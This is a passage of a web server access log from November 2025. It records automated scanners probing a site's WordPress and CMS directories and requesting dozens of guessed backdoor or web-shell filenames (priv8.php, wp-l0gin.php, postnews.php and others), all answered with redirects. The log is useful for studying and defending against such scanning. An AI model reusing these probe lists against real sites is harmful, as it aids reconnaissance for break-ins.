"www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:23:51 +0330] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:23:52 +0330] "GET /sites/default/files/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:23:53 +0330] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:41 +0330] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:56 +0330] "GET /wp-includes/images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:59 +0330] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:23:00 +0330] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:23:30 +0330] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:23:32 +0330] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:23:37 +0330] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:23:38 +0330] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:23:43 +0330] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:23:44 +0330] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:24:12 +0330] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:24:13 +0330] "GET /wp-includes/js/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:24:17 +0330] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:24:24 +0330] "GET /wp-admin/css/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:24:35 +0330] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:24:36 +0330] "GET /wp-admin/network/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:24:37 +0330] "GET /wp-admin/user/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:24:41 +0330] "GET /wp-content/themes/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:24:43 +0330] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:24:11 +0330] "GET /components/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:24:18 +0330] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:24:19 +0330] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:24:25 +0330] "GET /wp-admin/images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:24:27 +0330] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:24:38 +0330] "GET /wp-content/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:24:39 +0330] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:24:42 +0330] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:24:43 +0330] "GET /wp-admin/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 131.186.47.110 - - [05/Nov/2025:03:57:51 +0330] "GET / HTTP/1.1" 301 795 "-" "Python/3.14 aiohttp/3.13.2" 89.109.49.114 - - [05/Nov/2025:05:31:49 +0330] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 194.85.193.221 - - [05/Nov/2025:05:32:16 +0330] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15" 124.198.131.112 - - [05/Nov/2025:05:40:41 +0330] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:40:49 +0330] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:40:53 +0330] "GET /file/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:41:06 +0330] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:40:44 +0330] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:40:45 +0330] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:40:46 +0330] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:40:47 +0330] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:40:51 +0330] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:41:00 +0330] "GET /as/function HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:41:03 +0330] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:41:09 +0330] "GET /doc/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:41:12 +0330] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:41:14 +0330] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:55:54 +0330] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:55:55 +0330] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:55:58 +0330] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:56:14 +0330] "GET /test/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:56:15 +0330] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:56:16 +0330] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:56:19 +0330] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:56:21 +0330] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:56:22 +0330] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:56:23 +0330] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:56:23 +0330] "GET /upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:56:25 +0330] "GET /files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 38.146.28.139 - - [05/Nov/2025:06:04:14 +0330] "GET /postnews.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 38.146.28.139 - - [05/Nov/2025:06:04:15 +0330] "GET /wp-content/postnews.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 38.146.28.139 - - [05/Nov/2025:06:04:15 +0330] "GET /wp-admin/postnews.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 124.198.131.112 - - [05/Nov/2025:05:55:56 +0330] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:55:57 +0330] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:55:58 +0330] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:56:15 +0330] "GET /img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:56:17 +0330] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:56:18 +0330] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:56:19 +0330] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:56:20 +0330] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 124.198.131.112 - - [05/Nov/2025:05:56:24 +0330] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 38.146.28.139 - - [05/Nov/2025:06:52:17 +0330] "GET /postnews.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 38.146.28.139 - - [05/Nov/2025:06:52:21 +0330] "GET /wp-content/postnews.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 38.146.28.139 - - [05/Nov/2025:06:52:22 +0330] "GET /wp-admin/postnews.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.165.16.8 - - [05/Nov/2025:07:21:11 +0330] "POST /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" 45.138.16.228 - - [05/Nov/2025:07:21:48 +0330] "GET /style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:21:53 +0330] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:21:55 +0330] "GET /wp-includes/style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:21:56 +0330] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:21:59 +0330] "GET /flower.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:01 +0330] "GET /gifclass.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:05 +0330] "GET /blurbs.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:06 +0330] "GET /akcc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:10 +0330] "GET /aku.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:17 +0330] "GET /zoo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:18 +0330] "GET //zwso.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:21 +0330] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:22 +0330] "GET /bolt.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:24 +0330] "GET /shlo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:33 +0330] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:34 +0330] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:36 +0330] "GET /files.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:38 +0330] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:21:51 +0330] "GET /wp-content/style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:21:52 +0330] "GET /wp-content/themes/style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:21:58 +0330] "GET /file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:02 +0330] "GET /bless.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:03 +0330] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:09 +0330] "GET /abcd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:12 +0330] "GET /cord.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:13 +0330] "GET /dex.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:15 +0330] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:20 +0330] "GET /wp-admin/zwso.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:26 +0330] "GET /133.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:27 +0330] "GET /ahax.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:28 +0330] "GET /wpssl.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:30 +0330] "GET /witmm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.138.16.228 - - [05/Nov/2025:07:22:31 +0330] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 170.106.167.214 - - [05/Nov/2025:11:22:44 +0330] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 217.151.226.215 - - [05/Nov/2025:11:15:11 +0330] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0" 52.169.5.4 - - [05/Nov/2025:11:53:31 +0330] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:32 +0330] "GET /031.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:32 +0330] "GET /ilex.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:32 +0330] "GET /flex.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:32 +0330] "GET /222.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:33 +0330] "GET /444.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:33 +0330] "GET /file9.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:33 +0330] "GET /filesss.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:33 +0330] "GET /file88.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:33 +0330] "GET /gifclass4.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:34 +0330] "GET /555.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:34 +0330] "GET /333.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:34 +0330] "GET /hly.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:34 +0330] "GET /d12.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:34 +0330] "GET /2clas.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:34 +0330] "GET /bless5.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:35 +0330] "GET /file15.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:35 +0330] "GET /hk.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:35 +0330] "GET /alpa.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [05/Nov/2025:11:53:35 +0330] "GET 